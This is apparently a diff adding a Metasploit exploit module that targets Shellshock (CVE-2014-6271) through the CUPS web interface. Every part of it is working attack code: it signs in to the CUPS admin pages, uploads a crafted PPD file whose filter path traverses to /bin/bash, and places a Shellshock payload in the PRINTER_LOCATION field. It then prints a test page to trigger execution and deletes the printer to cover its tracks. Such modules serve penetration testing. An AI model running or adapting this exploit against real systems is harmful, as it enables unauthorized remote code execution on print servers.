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| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit4 < Msf::Exploit::Remote |
| 9 | + Rank = ExcellentRanking |
| 10 | + include Msf::Exploit::Remote::HttpClient |
| 11 | + |
| 12 | + def initialize(info = {}) |
| 13 | + super(update_info(info, |
| 14 | + 'Name' => 'CUPS Filter Bash Environment Variable Code Injection', |
| 15 | + 'Description' => %q{ |
| 16 | + This module exploits a post-auth code injection in specially crafted |
| 17 | + environment variables in Bash, specifically targeting CUPS filters |
| 18 | + through the PRINTER_INFO and PRINTER_LOCATION variables by default. |
| 19 | + }, |
| 20 | + 'Author' => [ |
| 21 | + 'Stephane Chazelas', # Vulnerability discovery |
| 22 | + 'Brendan Coles <bcoles[at]gmail.com>' # msf |
| 23 | + ], |
| 24 | + 'References' => [ |
| 25 | + ['CVE', '2014-6271'], |
| 26 | + ['EDB', '34765'], |
| 27 | + ['URL', 'https://access.redhat.com/articles/1200223'], |
| 28 | + ['URL', 'http://seclists.org/oss-sec/2014/q3/649'] |
| 29 | + ], |
| 30 | + 'Privileged' => false, |
| 31 | + 'Arch' => ARCH_CMD, |
| 32 | + 'Platform' => 'unix', |
| 33 | + 'Payload' => |
| 34 | + { |
| 35 | + 'Space' => 1024, |
| 36 | + 'BadChars' => "\x00\x0A\x0D\x22", |
| 37 | + 'DisableNops' => true, |
| 38 | + }, |
| 39 | + 'Compat' => |
| 40 | + { |
| 41 | + 'PayloadType' => 'cmd', |
| 42 | + 'RequiredCmd' => 'generic bash netcat perl', |
| 43 | + }, |
| 44 | + # Tested on CUPS 1.4.3 |
| 45 | + 'Targets' => |
| 46 | + [ |
| 47 | + [ |
| 48 | + 'Automatic Targeting', { 'auto' => true } |
| 49 | + ], |
| 50 | + ], |
| 51 | + 'DefaultTarget' => 0, |
| 52 | + 'DisclosureDate' => 'Sep 24 2014', |
| 53 | + 'License' => MSF_LICENSE |
| 54 | + )) |
| 55 | + register_options([ |
| 56 | + Opt::RPORT(631), |
| 57 | + OptString.new('USERNAME', [ true, 'CUPS username', '']), |
| 58 | + OptString.new('PASSWORD', [ true, 'CUPS password', '']) |
| 59 | + ], self.class) |
| 60 | + end |
| 61 | + |
| 62 | + # |
| 63 | + # Check |
| 64 | + # |
| 65 | + def check |
| 66 | + Exploit::CheckCode::Unknown |
| 67 | + end |
| 68 | + |
| 69 | + # |
| 70 | + # Exploit |
| 71 | + # |
| 72 | + def exploit |
| 73 | + @cookie = rand_text_alphanumeric(16) |
| 74 | + printer_name = rand_text_alphanumeric(10) |
| 75 | + |
| 76 | + # Create a printer with a CUPS filter pointing to /bin/bash |
| 77 | + res = create_printer(printer_name) |
| 78 | + if !res |
| 79 | + print_error("#{peer} - Request failed") |
| 80 | + return |
| 81 | + elsif res.code == 426 |
| 82 | + print_error("#{peer} - Authentication failed") |
| 83 | + return |
| 84 | + elsif res.body =~ /Set Default Options for #{printer_name}/ |
| 85 | + print_good("#{peer} - Created printer successfully") |
| 86 | + end |
| 87 | + |
| 88 | + # Request a printer test page. |
| 89 | + # The print job triggers execution of the bash filter |
| 90 | + # which executes the payload in the env vars. |
| 91 | + res = print_test_page(printer_name) |
| 92 | + if !res || res.code != 200 |
| 93 | + print_error("#{peer} - Request failed") |
| 94 | + return |
| 95 | + end |
| 96 | + if res.body =~ /Test page sent; job ID is/ |
| 97 | + print_status "#{peer} - Test page sent successfully" |
| 98 | + end |
| 99 | + |
| 100 | + # Delete the printer |
| 101 | + res = delete_printer(printer_name) |
| 102 | + if !res || res.code != 200 |
| 103 | + print_error("#{peer} - Request failed") |
| 104 | + return |
| 105 | + end |
| 106 | + if res.body =~ /has been deleted successfully/ |
| 107 | + print_status "#{peer} - Deleted printer '#{printer_name}' successfully" |
| 108 | + end |
| 109 | + end |
| 110 | + |
| 111 | + # |
| 112 | + # Create a printer |
| 113 | + # |
| 114 | + def create_printer printer_name |
| 115 | + print_status "#{peer} - Creating printer '#{printer_name}'" |
| 116 | + |
| 117 | + ppd_file = <<-EOF |
| 118 | +*PPD-Adobe: "4.3" |
| 119 | +*%==== General Information Keywords ======================== |
| 120 | +*FormatVersion: "4.3" |
| 121 | +*FileVersion: "1.00" |
| 122 | +*LanguageVersion: English |
| 123 | +*LanguageEncoding: ISOLatin1 |
| 124 | +*PCFileName: "MFC3820CN.PPD" |
| 125 | +*Manufacturer: "Brother" |
| 126 | +*Product: "(Brother MFC-3820CN)" |
| 127 | +*1284DeviceID: "MFG:Brother;MDL:MFC-3820CN" |
| 128 | +*cupsVersion: 1.1 |
| 129 | +*cupsManualCopies: False |
| 130 | +*cupsFilter: "application/vnd.cups-postscript 0 ../../../../../../../../../../bin/bash" |
| 131 | +*cupsModelNumber: 5 |
| 132 | +*ModelName: "Brother MFC-3820CN" |
| 133 | +*ShortNickName: "Brother MFC-3820CN" |
| 134 | +*NickName: "Brother MFC-3820CN CUPS v1.1" |
| 135 | +*PSVersion: "(3010.106) 3" |
| 136 | +*% |
| 137 | +EOF |
| 138 | + |
| 139 | + shock = "() { :;}; /bin/bash -c \"#{payload.raw} &\"" |
| 140 | + |
| 141 | + pd = Rex::MIME::Message.new |
| 142 | + pd.add_part(ppd_file, "application/octet-stream", nil, "form-data; name=\"PPD_FILE\"; filename=\"#{rand_text_alphanumeric(10)}.ppd\"") |
| 143 | + pd.add_part("#{@cookie}", nil, nil, "form-data; name=\"org.cups.sid\"") |
| 144 | + pd.add_part("add-printer", nil, nil, "form-data; name=\"OP\"") |
| 145 | + pd.add_part("#{printer_name}", nil, nil, "form-data; name=\"printer_name\"") |
| 146 | + pd.add_part("#{printer_name}", nil, nil, "form-data; name=\"PRINTER_NAME\"") |
| 147 | + pd.add_part("", nil, nil, "form-data; name=\"PRINTER_INFO\"") # injectable |
| 148 | + pd.add_part("#{shock}", nil, nil, "form-data; name=\"PRINTER_LOCATION\"") # injectable |
| 149 | + pd.add_part("file:///dev/null", nil, nil, "form-data; name=\"DEVICE_URI\"") |
| 150 | + pd.add_part('', nil, nil, "form-data; name=\"PRINTER_IS_SHARED\"") |
| 151 | + pd.add_part('262144', nil, nil, "form-data; name=\"MAX_FILE_SIZE\"") # default value |
| 152 | + |
| 153 | + data = pd.to_s |
| 154 | + data.strip! |
| 155 | + |
| 156 | + res = send_request_cgi({ |
| 157 | + 'method' => 'POST', |
| 158 | + 'uri' => normalize_uri(target_uri.path, 'admin'), |
| 159 | + 'ctype' => "multipart/form-data; boundary=#{pd.bound}", |
| 160 | + 'data' => data, |
| 161 | + 'cookie' => "org.cups.sid=#{@cookie};", |
| 162 | + 'authorization' => basic_auth(datastore['USERNAME'],datastore['PASSWORD']), |
| 163 | + }) |
| 164 | + |
| 165 | + return res |
| 166 | + end |
| 167 | + |
| 168 | + # |
| 169 | + # Print a test page |
| 170 | + # |
| 171 | + def print_test_page printer_name |
| 172 | + print_status "#{peer} - Requesting printer test page" |
| 173 | + res = send_request_cgi( |
| 174 | + { |
| 175 | + 'method' => 'POST', |
| 176 | + 'uri' => normalize_uri(target_uri.path,'printers',printer_name), |
| 177 | + 'authorization' => basic_auth(datastore['USERNAME'],datastore['PASSWORD']), |
| 178 | + 'cookie' => "org.cups.sid=#{@cookie}", |
| 179 | + 'vars_post' => { |
| 180 | + 'org.cups.sid' => @cookie, |
| 181 | + 'OP' => 'print-test-page' |
| 182 | + } |
| 183 | + } |
| 184 | + ) |
| 185 | + return res |
| 186 | + end |
| 187 | + |
| 188 | + # |
| 189 | + # Delete a printer |
| 190 | + # |
| 191 | + def delete_printer printer_name |
| 192 | + res = send_request_cgi( |
| 193 | + { |
| 194 | + 'method' => 'POST', |
| 195 | + 'uri' => normalize_uri(target_uri.path,'admin'), |
| 196 | + 'authorization' => basic_auth(datastore['USERNAME'],datastore['PASSWORD']), |
| 197 | + 'cookie' => "org.cups.sid=#{@cookie}", |
| 198 | + 'vars_post' => { |
| 199 | + 'org.cups.sid' => @cookie, |
| 200 | + 'OP' => 'delete-printer', |
| 201 | + 'printer_name' => printer_name, |
| 202 | + 'confirm' => 'Delete Printer' |
| 203 | + } |
| 204 | + } |
| 205 | + ) |
| 206 | + return res |
| 207 | + end |
| 208 | + |
| 209 | +end |
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